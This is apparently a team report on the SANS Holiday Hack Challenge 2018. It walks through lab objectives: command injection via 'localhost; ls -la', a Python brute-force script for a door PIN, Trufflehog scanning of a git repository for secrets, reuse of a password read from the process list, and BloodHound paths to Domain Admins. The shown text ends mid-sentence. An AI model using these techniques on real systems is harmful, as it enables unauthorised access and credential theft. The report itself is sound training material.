Sei sulla pagina 1di 81

SANS HOLIDAY HACK CHALLENGE

2018 Report

Jevan Gray
Wayne Fischer
Table of Contents
Quick Answers 2

Objectives 3

Objective One - Orientation Challenge 3

Terminal Challenge – Essential Editor 3

Objective Two – Directory Browsing 5

Terminal Challenge – The Name Game 7

Objective Three – de Bruijn Sequences 11

Terminal Challenge – Lethal ForensicELFication 14

Objective Four – Data Repo Analysis 17

Terminal Challenge – Stall Mucking Report 19

Objective Five – AD Privilege Discovery 21

Terminal Challenge – CURLing Master 23

Objective Six – Badge Manipulation 27

Terminal Challenge – Yule Log Analysis 29

Objective Seven – HR Incident Response 33

Terminal Challenge – Dev Ops Fail 36

Objective Eight – Network Traffic Forensics 39

Terminal Challenge – Python Escape from LA 50

Objective Nine - Ransomware Recovery - Catch the Malware 52

Using pcaps to Analyze Malware functions 56

Objective Ten - Ransomware Recovery - Identify the Domain 57

Objective Eleven - Ransomware Recovery - Stop the Malware 61

Objective Twelve - Ransomware Recovery - Recover Alabaster’s Password 63

Terminal Challenge – Sleigh Bell Lottery 68

Objective Thirteen - Message after unlocking Santa’s vault 71

Objective Fourteen – Who is Behind it All? 75

Appendix A - Wannacookie.min.ps1 in readable format with function descriptions 76

1
Quick Answers
Answer 1: ​Happy Trails

Answer 2: ​John McClane

Answer 3: ​Welcome Unprepared Speaker!

Answer 4: ​Yippee-ki-yay

Answer 5: ​LDUBEJ00320@AD.KRINGLECASTLE.COM

Answer 6: ​19880715

Answer 7:​ Fancy Beaver

Answer 8: ​Mary Had a Little Lamb

Answer 9: ​Congratulation! Snort is alerting on all ransomware and only the ransomware!

Answer 10: ​erohetfanu.com

Answer 11: ​yippeekiyaa.aaay

Answer 12: ​ED#ED#EED#EF#G#F#G#ABA#BA#B

Answer 13: ​You have unlocked Santa’s vault!

Answer 14: ​Santa

2
Objectives
Objective One - Orientation Challenge

Figure 1. KringleCon Kiosk

What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk (Figure 1)
inside the castle? For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor
Skills Cranberry Pi terminal challenge (Figure 2).

Clicking on the KringleCon Kiosk presents us with a series of multiple-choice questions. Watching Ed Skoudis’
talk here ​https://youtu.be/31JsKzsbFUo​ provides the answers we need for the questions. Alternatively, visiting
https://holidayhackchallenge.com/past-challenges/​ you can peruse previous competitions and learn the answers and
hone your skills further when you attempt the challenges yourself!

Terminal Challenge – Essential Editor

Figure 2. Bushy Evergreen and the Essential Editor Skills Cranberry Pi Terminal.

Bushy has been ​snowed​ by his lack of essential editor knowledge. One learns quickly that while working in
system administration and cybersecurity fields learning how to use the editor, vi, is certainly essential. Bushy says

Hi, I'm Bushy Evergreen.


I'm glad you're here, I'm the target of a terrible trick.
Pepper says his editor is the best, but I don't understand why.
He's forcing me to learn vi.

3
He gave me a link, I'm supposed to learn the basics.
Can you assist me with one of the simple cases?

Pepper is pushing vi knowledge because the editor vi is present on any Unix, Linux, or other operating system which is
POSIX​ compliant. The Portable Operating System Interface (e.g. POSIX) standard is an international standard adopted by
UNIX or UNIX-like operating systems for interoperability. It’s a good standard for operating systems to meet, especially
if designers don’t want to turn elf system administrators and programmers into angry munchkins by lacking this
standard. Because vi is part of this standard, it’s going to ALMOST always be present on a system you want to use to
edit files. For this reason, it’s essential, so learning how to use it can save you some pain and time.

The editor vi has two operating modes, command mode, and insert mode. During insert mode typed keys will
become part of the document. During command mode, typed keys are interpreted as commands for vi. In order to exit
the vi editor, you must be in command mode (often achieved by pressing the ESC key if we are in Insert mode. Then
enter the command preceded by a colon, :, followed by the letter q, for Quit. To enter Insert mode, you can press the
“i” key. When we log into Bushy’s Cranberry Pi terminal, we see the vi editor loaded (Figure 3) as indicated by the “All”
in the bottom right. Random fact, the vim editor takes the colon because of it’s history with the ‘ed’ editor
(https://twobithistory.org/2018/08/05/where-vim-came-from.html)

Figure 3. Essential Editor Cranberry Pi login screen.

We know we are not in Insert mode because the vi editor will show the words “INSERT” in the bottom left of the
editor when in Insert mode. Therefore, typed commands will be interpreted as commands for vi. Typing a “​:q​” and
pressing enter quits the terminal successfully. In some cases, we want to save what we entered thus we type “​:wq​” in
command mode to “Write” and then “Quit” vi. Another command sequence to quit is “​:q!​” which will discard changes
and quit without verifying changes. Any of these commands completes this terminal challenge (Figure 4).

4
Figure 4. Successful challenge screen for Essential Editors terminal challenge.

Bushy now shares some hints for the first challenge

Wow, it seems so easy now that you've shown me how!


To thank you, I'd like to share some other tips with you.
Have you taken a look at the Orientation Challenge?
This challenge is limited to past SANS Holiday Hack Challenges from 2015, 2016, and 2017. You DO NOT need to
play those challenges.
If you listen closely to Ed Skoudis' talk at the con, you might even pick up all the answers you need...
It may take a little poking around, but with your skills, I'm sure it'll be a wintergreen breeze!

Objective Two – Directory Browsing


Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze
the CFP (​https://cfp.kringlecastle.com/)​ site to find out. For hints on achieving this objective, please visit Minty
Candycane and help her with the The Name Game Cranberry Pi terminal challenge.

The term “Directory Browsing” often refers to the features of a web server where visitors can browse the
contents of a web server much like we would see when browsing a folder/directory in Microsoft Windows’ Explorer
application. An improperly configured web server will allow this, but typically we would not want to allow users to
browse files, but rather present them with specific web pages with links to click through our website. When visiting the
website we see the following site presented (Figure 5). The first thing we do when visiting a site to find vulnerabilities is
to search the source code, right-click on the webpage and select “View Source” from Mozilla Firefox.

5
Figure 5. Kringlecon's cfp.kringlecastle.com homepage.

I like to view source to discover any comments or other information that may be left over from when the webpage was
created, or to see what kind of paths the web server uses. Server paths can often be found within ​href​, ​src, or url ​tags,
to name a few. In this case we found the following ​link ​tags

1. href​="​layout/styles/layout.css​"
2. href​="​/index.html​"
3. href​="​/cfp/cfp.html​"
4. style​="​background-image:url('images/background1.jpg');​"
5. src​="​layout/scripts/jquery.min.js​"
We’re interested in the paths, rather than the actual files (e.g. layout/styles/, /,layout/scripts/, /cfp/, and images/). We
can take these paths and add them to the website url to try and perform Directory Browsing. We have Directory
Browsing success by adding /cfp to the website URL (Figure 6).

6
Figure 6. Successful directory browsing shown for the cfp.kringlecastle.com website.

Directory Browsing allows us to see a ​rejected-talks.csv​ file; this sure sounds like a file which contains
information related to the objective question. To view the file while Directory Browsing we click it! A list of information
shows up of rejected talks. Now we do a simple keyword search using my web browser by pressing ​CTRL+F​ and search
for “Rainbow” and I’m taken to the rejected talk with my answer (Figure 7). The name of the speaker is ​John McClane​;
we hope his ego doesn’t, DIE HARD…..oh my, I’m sorry, we couldn’t resist.

Figure 7. Firefox showing a search result for the rejected-talks.csv file.

Terminal Challenge – The Name Game


Minty Candycane is struggling with a new employees name as she has to make his name tag. The only fact she
remembers is his last name is “​Chan​”. Fortunately for Santa’s little helpers, there is a useful SQLite database which
contains employee onboarding information (Figure 8).

Figure 8. Minty Candycane and The Name Game Cranberry Pi terminal.

7
When we open the Cranberry Pi terminal we are presented with the following screen (Figure 9) and if we talk to Minty
she says

Can you help me? I'm in a bit of a fix.


I need to make a nametag for an employee, but I can't remember his first name.
Maybe you can figure it out using this Cranberry Pi terminal?
The Santa's Castle Onboarding System? I think it's written in PowerShell, if I'm not mistaken.
PowerShell itself can be tricky when handling user input. Special characters such as & and ; can be used to inject
commands.
I think that system is one of Alabaster's creations.
He's a little ... ​obsessed​ with SQLite database storage.
I don't know much about SQLite, just the ​.dump​ command.

This is a potent tip. For starters, we know, assuming Minty hasn’t sipped too much of Santa’s ​special​ egg nog, that it’s
using Microsoft’s PowerShell, which is a powerful programming languages often used on Microsoft operating systems.
Additionally, she shares that handling user input can be tricky, especially special characters &, and ;. One of the most
common exploits for code is unsanitized user inputs. So much so that “Injection” remains the number one gotcha for
exploits on the Open Web Application Security Project (OWASP) which provides helpful information and rankings of
vulnerability categories (see ​https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project​). So, I’m going to
begin by trying to inject some special characters into the two options presented, starting with this “Verify the System”
option.

Figure 9. Minty Candycane's Cranberry Pi terminal login screen.

Pressing the number 2 brings up a prompt for us to enter a hostname. We don’t know the hostname, but can try
to enter “​localhost”​ which should resolve to the computer we are on (e.g. 127.0.0.1). This succeeds and pings the

8
localhost, displays the output, and it also shares some information about the database being used, which is ​onboard.db
and it is a SQLite 3 database (Figure 10).

Figure 10. Output showing the ping of localhost on The Name Game programs option 2.

Remembering Minty’s tip, we try adding another command after the localhost ping by adding a semi-colon after
localhost and then trying to list the directory information with the –l (long) –a (all) flags.

localhost; ls –la

This succeeds! So there is no sanitization of input. This server is ripe for pwnage. We don’t really want to see the ping
output so I’ll direct that output to nowhere land with the > /dev/null output redirection then execute my command of
​ ocalhost > /dev/null; ls -la
choice: l

This succeeds by listing all the contents of the current directory (Figure 11).

Figure 11. Output executing ls -la following a ping command with output redirected to /dev/null on Minty's terminal option 2.

Now that we know we can run commands, and that we have a SQLite database, let’s try to run SQLite 3 to get some
information to look at the database and find out the answer to Minty’s question by replacing our list command with a
sqlite3 command; this succeeds dropping us into a SQLite3 prompt (Figure 12).

9
Figure 12. Running SQLite3 on Minty's terminal by exploiting option 2 server verification.

At this point, we know the database name is ​onboard.db​ and it is in the current directory. So we can research
some SQLite commands to open a database file, show us information about a database, and get information from a
database. Now, Minty says she knows about the ​.dump​ command, but this command dumps all the database
information forcing me to comb through it; whereas I’d rather just have the correct answer by executing a proper query.
So running the commands ​.open onboard.db​ followed by ​.schema​ to show what tables are in the database and finally a
select​ statement to query for the correct information (Figure 13) gives us the correct answer, ​Scott.

Figure 13. Opening SQLite3 and Querying a Database on Minty's terminal.

We now need to execute the ​runtoanswer​ program we saw in the directory listing earlier, but first we need to
quit out of SQLite3 with the ​.quit ​command. We can replace our earlier ​slqite3​ command with ​runtoanswer​ which
presents the program prompt. Inputting the answer ​Scott ​completes the challenge. (Figure 14).

10
Figure 14. Minty’s terminal challenge runtoanswer prompt and successful completion message.

Objective Three – de Bruijn Sequences


When you break into the speaker unpreparedness room, what does Morcel Nougat say? For hints on achieving this
objective, please visit Tangle Coalbox and help him with Lethal ForensicELFication Cranberry Pi terminal challenge.

Finding and speaking with Tangle, he asks for help to do some Forensic review of the vim editor in the terminal.
Once this task is complete he provides information about the door lock when you talk to him. He mentions de Bruijn
Sequences and provides some hints on learning more about them. He also refers us to the door code on the door which
can be cracked using a de Bruijn Sequence. One of the URLs we are sent to is ​http://www.hakank.org/comb/debruijn.cgi
and Tangle conveniently provided us with the K value for the length of the “alphabet” which is 4, and the length of the
“PIN” is 4. Additionally, Tangle provides an interesting article in the link
https://hackaday.com/2018/06/18/opening-a-ford-with-a-robot-and-the-de-bruijn-sequence/​ which describes using de
Bruijn sequences.

Using the sequence generator available on ​http://www.hakank.org/comb/debruijn.cgi?k=4&n=4&submit=Ok​ with the


alphabet length of four for (​△​ ,​□,​ ○​,​☆​)​ where triangle is 0, square is 1, circle is 2, and star is 3 we get a total of 259
combinations. Tangle says the PIN is four length, so we can eliminate nine options for a total of 250 potential
combinations. At this point, we can manually try them, or if we want to be more efficient, we can review the code of the
page to see how the combination is sent and brute force it with a programming language of our choice. Using the view
source option of my web browser (Google Chrome) we can see that the Doorpasscode challenge uses the URL of
11
https://doorpasscode.kringlecastle.com​ and passes the shapes as numbers to a PHP page (checkpass.php) which
returns a message and success value (Figure 15).

Figure 15. Google Chrome Devcode tool showing Doorcode challenge URL and parameters

I can create a Python script which quickly passes four numbers and reads the returned success message to determine
the passcode. Fortunately for us, Tangle provided a link to the car hacking post which includes another link to a Python
program called ​DeBruijn.py​ which we can use to generate our sequence, or any other Python flavored script.

The following is the Python 3 code created to brute force the password against the website.

import urllib.request
import urllib.parse
import json

# https://doorpasscode.kringlecastle.com/checkpass.php?i=testVALUE&resourceId=undefined

mySequence="333300001000200030011001200130021002200230031003200330101020103011101120113012101220123
013101320133020203021102120213022102220223023102320233030311031203130321032203230331033203331111211
1311221123113211331212131222122312321233131322132313321333222232233232"
def PostData(str):
url='https://doorpasscode.kringlecastle.com/checkpass.php'
values = { 'i':str,
'resourceId':'undefined'}
user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0'
headers = {'User-Agent': user_agent, 'Referer': 'https://doorpasscode.kringlecastle.com/'}
url_values=urllib.parse.urlencode(values)
full_url=url+'?'+url_values
with urllib.request.urlopen(full_url) as response:
string=response.read().decode('utf-8')
jsonDoorCodeMessage=json.loads(string)
#return the websites message value in JSON converted to string
return jsonDoorCodeMessage['message']

#Loop through the sequence


12
for i in range(0,len(mySequence)):
#Post numbers from our sequence to PostData in groups of four
PostData(mySequence[i:i+4])
if (PostData(mySequence[i:i+4]) != 'Incorrect guess.'):
print(PostData(mySequence[i:i+4])+' = '+mySequence[i:i+4])
break
else:
print(mySequence[i:i+4]+' was an '+PostData(mySequence[i:i+4]))

After running the code we find the Door Code is ​0120​ or ​Triangle, Square, Circle, Triangle​ in about 22 attempts which
lets us in the door to talk to Morcel Nougat to obtain the answer.

As an alternative to manually entering the sequence or using some code/tool to automate the guesses to checkpass.php,
we can also automate entering the sequence at the browser-level by using the browser’s built-in Javascript console.

Looking at the source for ​https://doorpasscode.kringlecastle.com​, on lines 14 -20, we can see that the button pushes
end up calling the addShape() function with the parameters 0 - 3 for each of the buttons…

We can wrap each of the DeBruijn sequence values in a call to addShape(), and then use the browser console to
automate the button pushes.

We can take the space delimited version of the sequence:

0 0 0 0 1 0 0 0 2 0 0 0 3 0 0 1 1 0 0 1 2 0 0 1 3 0 0 2 1 0 0 2 2 0 0 2 3 0 0 3 1 0 0 3 2 0 0 3 3 0
1 0 1 0 2 0 1 0 3 0 1 1 1 0 1 1 2 0 1 1 3 0 1 2 1 0 1 2 2 0 1 2 3 0 1 3 1 0 1 3 2 0 1 3 3 0 2 0 2 0
3 0 2 1 1 0 2 1 2 0 2 1 3 0 2 2 1 0 2 2 2 0 2 2 3 0 2 3 1 0 2 3 2 0 2 3 3 0 3 0 3 1 1 0 3 1 2 0 3 1
3 0 3 2 1 0 3 2 2 0 3 2 3 0 3 3 1 0 3 3 2 0 3 3 3 1 1 1 1 2 1 1 1 3 1 1 2 2 1 1 2 3 1 1 3 2 1 1 3 3
1 2 1 2 1 3 1 2 2 2 1 2 2 3 1 2 3 2 1 2 3 3 1 3 1 3 2 2 1 3 2 3 1 3 3 2 1 3 3 3 2 2 2 2 3 2 2 3 3 2
3 2 3 3 3 3 0 0 0

And wrap it in addShape() calls with the following vim substitution command: ​:s/(\d)/addShape(\1);/g

To get the list of calls…

addShape(0); addShape(0); addShape(0); addShape(0); addShape(1); addShape(0); addShape(0);


addShape(0); addShape(2); addShape(0); addShape(0); addShape(0); addShape(3); addShape(0);
addShape(0); addShape(1); addShape(1); addShape(0); addShape(0); addShape(1); addShape(2);
addShape(0); addShape(0); addShape(1); addShape(3); addShape(0); addShape(0); addShape(2);
addShape(1); addShape(0); addShape(0); addShape(2); addShape(2); addShape(0); addShape(0);
addShape(2); addShape(3); addShape(0); addShape(0); addShape(3); addShape(1); addShape(0);
addShape(0); addShape(3); addShape(2); addShape(0); addShape(0); addShape(3); addShape(3);
addShape(0); addShape(1); addShape(0); addShape(1); addShape(0); addShape(2); addShape(0);
addShape(1); addShape(0); addShape(3); addShape(0); addShape(1); addShape(1); addShape(1);

13
addShape(0); addShape(1); addShape(1); addShape(2); addShape(0); addShape(1); addShape(1);
addShape(3); addShape(0); addShape(1); addShape(2); addShape(1); addShape(0); addShape(1);
addShape(2); addShape(2); addShape(0); addShape(1); addShape(2); addShape(3); addShape(0);
addShape(1); addShape(3); addShape(1); addShape(0); addShape(1); addShape(3); addShape(2);
addShape(0); addShape(1); addShape(3); addShape(3); addShape(0); addShape(2); addShape(0);
addShape(2); addShape(0); addShape(3); addShape(0); addShape(2); addShape(1); addShape(1);
addShape(0); addShape(2); addShape(1); addShape(2); addShape(0); addShape(2); addShape(1);
addShape(3); addShape(0); addShape(2); addShape(2); addShape(1); addShape(0); addShape(2);
addShape(2); addShape(2); addShape(0); addShape(2); addShape(2); addShape(3); addShape(0);
addShape(2); addShape(3); addShape(1); addShape(0); addShape(2); addShape(3); addShape(2);
addShape(0); addShape(2); addShape(3); addShape(3); addShape(0); addShape(3); addShape(0);
addShape(3); addShape(1); addShape(1); addShape(0); addShape(3); addShape(1); addShape(2);
addShape(0); addShape(3); addShape(1); addShape(3); addShape(0); addShape(3); addShape(2);
addShape(1); addShape(0); addShape(3); addShape(2); addShape(2); addShape(0); addShape(3);
addShape(2); addShape(3); addShape(0); addShape(3); addShape(3); addShape(1); addShape(0);
addShape(3); addShape(3); addShape(2); addShape(0); addShape(3); addShape(3); addShape(3);
addShape(1); addShape(1); addShape(1); addShape(1); addShape(2); addShape(1); addShape(1);
addShape(1); addShape(3); addShape(1); addShape(1); addShape(2); addShape(2); addShape(1);
addShape(1); addShape(2); addShape(3); addShape(1); addShape(1); addShape(3); addShape(2);
addShape(1); addShape(1); addShape(3); addShape(3); addShape(1); addShape(2); addShape(1);
addShape(2); addShape(1); addShape(3); addShape(1); addShape(2); addShape(2); addShape(2);
addShape(1); addShape(2); addShape(2); addShape(3); addShape(1); addShape(2); addShape(3);
addShape(2); addShape(1); addShape(2); addShape(3); addShape(3); addShape(1); addShape(3);
addShape(1); addShape(3); addShape(2); addShape(2); addShape(1); addShape(3); addShape(2);
addShape(3); addShape(1); addShape(3); addShape(3); addShape(2); addShape(1); addShape(3);
addShape(3); addShape(3); addShape(2); addShape(2); addShape(2); addShape(2); addShape(3);
addShape(2); addShape(2); addShape(3); addShape(3); addShape(2); addShape(3); addShape(2);
addShape(3); addShape(3); addShape(3); addShape(3); addShape(0); addShape(0); addShape(0);

We can Copy/Paste the commands into the browser’s console to make the javascript code guess every code
for us. It won’t stop at the correct code, so it will continue trying every code even after entering the correct one,
but we can look at the browser’s network activity log to find the request that has a different length from the rest
to find the correct code.

Terminal Challenge – Lethal ForensicELFication


In order to get all the tasty hints for the door passcode we have to help Tangle Coalbox do some forensic
analysis on the ​vim​ editor (Figure 16).

14
Figure 16. Tangle Coalbox's Cranberry Pi terminal.

Tangle greets us with the following

Hi, I'm Tangle Coalbox.


Any chance you can help me with an investigation?
Elf Resources assigned me to look into a case, but it seems to require digital forensic skills.
Do you know anything about Linux terminal editors and digital traces they leave behind?
Apparently editors can leave traces of data behind, but where and how escapes me!

When we open the terminal (Figure 17) tangle let’s us know that the editor used is ​vim​ and​ ​that text editors leave some
clues. These clues are often hidden in Linux hidden folders in a user’s home directory. So we put in the command ​ls
-la​ and see a ​.viminfo​ file, a ​.secrets​ folder and a ​runtoanswer​ script we will use to issue our answer. The .viminfo file
holds information from vim sessions, including a history of work done which can help us with our forensic analysis.

15
Figure 17. Login script from Tangle Coalbox's Lethal ForensicELFication challenge.

If we review ​.viminfo​ with a ​more .viminfo​ command we can see what was done. We quickly see that the name
Elinore was searched for and replaced by NEVERMORE. Reviewing the ​.secrets/her/poem.txt​ file we see the final
product with NEVERMORE substituted for Elinore. So our answer is Elinore. Running runtoanswer and putting in the
name Elinore successfully completes our challenge (Figure 18).

Figure 18. Screenshot showing Lethal ForenELFication answer and challenge success.

Tangle now shares some more information

Hey, thanks for the help with the investigation, gumshoe.


16
Have you been able to solve the lock with the funny shapes?
It reminds me of something called "de Bruijn Sequences."
You can optimize the guesses because there is no start and stop -- each new value is added to the end and the first
is removed.
I've even seen de Bruijn sequence generators online.
Here the length of the ​alphabet​ is 4 (only 4 buttons) and the length of the PIN is 4 as well.
Mathematically this is ​k=4, n=4​ to generate the de Bruijn sequence.
Math is like your notepad and pencil - can't leave home without it!
I heard Alabaster lost his badge! That's pretty bad. What do you think someone could do with that?

Objective Four – Data Repo Analysis


Retrieve the encrypted ZIP file from the North Pole Git repository
​ ttps://git.kringlecastle.com/Upatree/santas_castle_automation)​ . What is the password to open this file? For hints on
(h
achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal
challenge.

For this challenge we need to get the encrypted ZIP file from a Git repository. Visiting the website where it’s
hosted we find more information about the challenge and instructions on how to use Git to obtain the
santas_castle_automation​ program. There are hints on the Git page that Redberry elf’s Linux keys were left in the
project. Leftover passwords, private keys, and other sensitive information is a common problem with cloud-hosted
solutions and with Git that have been occurring over the years. But where’s the zip file? Our first task, search the
repository for “​zip​”. We find a file called ​schematics_ventilation_diagram.zip​ which when opened, sure enough it’s
password protected.

A Git repository contains a history of all changes. Removing the file (​git rm​) from the latest commit and updating the
current version of the repository will only remove sensitive files in the latest active branch of that repository.
Unfortunately, they will remain in the history for anyone else to see so that were people to clone your repository they
will obtain these sensitive files as part of the repository history (see
https://help.github.com/articles/removing-sensitive-data-from-a-repository​). We can use the git filter-branch or a
program called ​BFG Repo-Cleaner​ to remove unwanted data throughout the repo history. But the fact remains, that if
you had a public accessible repository (like we do for this challenge) anyone who previously cloned the repository still
has a copy of that sensitive data. It is this data we cloned by following the instructions from the North Pole Git
repository instructions to search through with a tool. Fortunately for us, Wunorse’s gratitude for helping him with his
Stall Mucking Report recommended a tool called ​Trufflehog​ available at ​https://github.com/dxa4481/truffleHog​ which
automates searching for sensitive files. The command executed to search after obtaining Trufflehog and with entropy
checking set to True, as suggested by Wunorse, is:

trufflehog --regex --entropy=True ​https://git.kringlecastle.com/Upatree/santas_castle_automation

Running this against the North Pole Git Repository yields plenty of sensitive data including a password (Figure 19) and
also a private key which may be useful for later, so we’ll save that. However, the password is actually discovered
because of the high-entropy of the Change ID, so what luck we had finding it with ​Trufflehog​! Without the entropy flag,
we do not discover the password.

17
Figure 19. Password found as a result of running Trufflehog against North Pole Git Repository.

Out of curiosity I’ll try to connect to the North Pole Git Repository trying both the private key and the password we
found and using SSH. To save the private key, we can either copy the entire block of random looking text and the lines:

-----BEGIN RSA PRIVATE KEY----- and

-----END RSA PRIVATE KEY-----

Then we can open a text editor and paste the private key to our own computer, as for example,
my_northpole_private_key.rsa​. Or for an easier approach, search for the commit hash on the repository
7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442​ then view and download the file directly
(​https://git.kringlecastle.com/Upatree/santas_castle_automation/blob/c376f995b44caf502992ddb617a34e7d38d7bbc1
/schematics/files/dot/ssh/key.rsa​). Attempting to use ​ssh​ to authenticate with my saved private key as our method of
authentication (e.g. logging into the repo) does not work, but we do confirm that only keys are accepted, so the
password would not work.

On to the challenge of unzipping the ZIP file with the password Yippee-ki-yay which we found with Trufflehog earlier.
We find it successfully unzips them (Figure 20). We can use this map to navigate to Santa’s secret room and bypass the
badge scanner by clicking the ventilation shaft next to the Google Kiosk and entering the maze.

18
Figure 20. Screenshot showing ventilation Diagrams successfully unzipped from North Pole Repositories schematics_ventilation_diagram.zip.

Our narrative on our Kringlecon badge now includes an instruction:

In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech. Make sure
you visit Hans to hear his speech.

Visiting Hans he gives a speech, revealing him to be a North Pole terrorist!

Ladies and Gentlemen…


Due to the North Pole’s legacy of providing coal as presents around the globe ...
... they are about to be taught a lesson in the real use of POWER.
You will be witnesses.
Now, Santa… that's a nice suit… John Philips, North Pole. I have two myself. Rumor has it Alabaster buys his there.
I have comrades in arms around the world who are languishing in prison.
The Elvin State Department enjoys rattling its saber for its own ends. Now it can rattle it for ME.
The following people are to be released from their captors.
In the Dungeon for Errant Reindeer, the seven members of the New Arietes Front.
In Whoville Prison, the imprisoned leader of ATNAS Corporation, Miss Cindy Lou Who.
In the Land of Oz, Glinda the Good Witch.

Terminal Challenge – Stall Mucking Report


Wunorse Openslae needs help remember a password for the Stall Mucking Report challenge (Figure 21).

19
Figure 21. Wunorse Openslae's terminal challenge.

Wunorse greets us with

Hi, I'm Wunorse Openslae


What was that password?
Golly, passwords may be the end of all of us. Good guys can't remember them, and bad guess can guess them!
I've got to upload my chore report to my manager's inbox, but I can't remember my password.
Still, with all the automated tasks we use, I'll bet there's a way to find it in memory...

It sounds like we’ll need to analyze running processes and memory to find out the password in order to upload
report.txt​ to a samba share. The hint received by talking to Wunorse links to
https://blog.rackspace.com/passwords-on-the-command-line-visible-to-ps​ which discusses seeing passwords in running
processes. Unfortunately when we execute a ps (​http://man7.org/linux/man-pages/man1/ps.1.html​) with the flags ​a​ for
all processes, and ​u​ to see the userlist processes our commands are cut off by the terminal width. There are a couple
ways to work around this limitation, one being adding the ​ww​ argument to allow the output to use unlimited width. We
can also redirect output to a file by instead executing a ​ps au > psdump.txt​ to output all information without
being clipped off to ​psdump.txt​ which we can review to see any hidden information, like passwords. Using this we hit
paydirt, as a ​sambawrapper.sh​ script appears to have a password in it ​directreindeerflatterystable​. How did we know
this was a password? Well, it requires experience, which we know that when analyzing the script here that the user
used is ​report-upload​ and so the password and username are typically together. Also running a ls /home shows the
following users: ​elf, manager, report-upload​. And finally, we can review ​/etc/passwd​ to see a list of users as well in
which we see a user named ​report-upload​.

The answer to our challenge is achieved by executing the following command to upload a file with the program
smbclient​ (for more information about smbclient see
https://www.samba.org/samba/docs/current/man-html/smbclient.1.html

smbclient -U report-upload%directreindeerflatterystable
//localhost/report-upload/ -c 'put "report.txt"'

Performing this proves to be successful (Figure 22).

20
Figure 22. Stall Mucking Report Terminal Challenge Success Message.

Wunorse now provides us some additional hints for the fourth challenge:

Thank goodness for command line passwords - and thanks for your help!
Speaking of good ways to find credentials, have you heard of Trufflehog?
It's a cool way to dig through repositories for passwords, RSA keys, and more.
I mean, no one EVER uploads sensitive credentials to public repositories, right? But if they ​did,​ this would be a great
tool for finding them.
But hey, listen to me ramble. If you're interested in Trufflehog, you should check out Brian Hostetler's talk!
Have you tried the ​entropy=True​ option when running Trufflehog? It is amazing how much deeper it will dig!

Objective Five – AD Privilege Discovery


Using the data set contained in this S​ ANS Slingshot Linux image​, find a reliable path from a Kerberoastable user to the
Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on
separate local privilege escalation flaws. For hints on achieving this objective, please visit Holly Evergreen and help her
with the CURLing Master Cranberry Pi terminal challenge.

For this challenge we’re provided with a virtual server in an ​HHC2018-DomainHack_2018-12-19.ova​ file. An
.ova file is a portable version of a virtual machine which can be loaded into a program such as VMWare, or Oracle Box.
We chose to use VMWare to open the virtual machine image. This can be done by downloading the file to your local
computer, and then opening VMWare and clicking File Open. The we navigate to our .ova file and click Open. Review
the settings and then click “Import”.

After booting the machine, we are automatically logged into a session as the user kris (Kris Kringle) and there is a
shortcut to BloodHound on the desktop.

21
Figure 23. Desktop from booted VM image

Running BloodHound, we can see that the data set is already loaded. Using the Menu and search bar in the upper left,
we can select the Queries section to view and select from some pre-defined queries. Looking through, we see the
“Shortest Paths to Domain Admins from Kerberoastable Users” query and select it.

Figure 24. Selecting the “Shortest Paths to Domain Admins From Kerberoastable Users” query

22
After the query runs, we are shown the paths from five Kerberoastable Users to Domain Admin; But when we exclude
the ones that depend on RDP (“CanRDP”), we are left with only one user, our answer,
LDUBEJ00320@AD.KRINGLECASTLE.COM.

Figure 25. Results of the “Shortest Paths to Domain Admins From Kerberoastable Users” query, highlighting the path without RDP

Terminal Challenge – CURLing Master


Holly Evergreen is having problems starting the Candy Striper. It uses an HTTP call, but not the typical one. A
program called curl can be used to request a webpage, and the requests can be modified to any state we want. Holly
greets us with:

Hi, I'm Holly Everygreen.


...
Oh that Bushy!
Sorry to vent, but that brother of mine did something strange.
The trigger to restart the Candy Striper is apparently an arcane HTTP call or 2.
I sometimes wonder if ​all​ IT folk do strange things with their home networks...
So the answer to this seems to require using the ​curl​ command-line tool. If we know nothing about HTTP we can still
figure it out by reviewing information about ​curl​.

When we log into the terminal we are presented with a screen telling us that to complete the challenge we need to
submit the right HTTP request to ​http://localhost:8080/​ which we are informed is using the web server ​nginx​ and using
the configuration file located here: (/etc/nginx/nginx.conf).

23
Figure 26. CURLing Master Terminal Challenge login screen.

Reviewing the nginx.conf file shows us the following information:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
worker_connections 768;
# multi_accept on;
}

http {

sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;

# server_names_hash_bucket_size 64;
# server_name_in_redirect off;

include /etc/nginx/mime.types;
default_type application/octet-stream;

server {
# love using the new stuff! -Bushy
listen 8080 http2;
# server_name localhost 127.0.0.1;
root /var/www/html;
24
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
if (!-f $document_root$fastcgi_script_name) {
return 404;
}

# Mitigate https://httpoxy.org/ vulnerabilities


fastcgi_param HTTP_PROXY "";
# fastcgi_pass 127.0.0.1:9000;
fastcgi_pass unix:/var/run/php/php-fpm.sock;
fastcgi_index index.php;

# include the fastcgi_param setting


include fastcgi_params;

# SCRIPT_FILENAME parameter is used for PHP FPM determining


# the script name. If it is not set in fastcgi_params file,
# i.e. /etc/nginx/fastcgi_params or in the parent contexts,
# please comment off following line:
# fastcgi_param SCRIPT_FILENAME document_root$fastcgi_script_name;
}

##
# Logging Settings
##

access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;

##
# Gzip Settings
##

gzip on;
gzip_disable "msie6";

# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml
application/xml+rss text/javascript;

##
# Virtual Host Configs
##

include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}

From the configuration file we see that Bushy has put a comment in there configuring the service to listen on port 8080
using http2 (​8080 http2;).​ We need to send a curl request to port 8080 and specify http2. Alternatively, using the
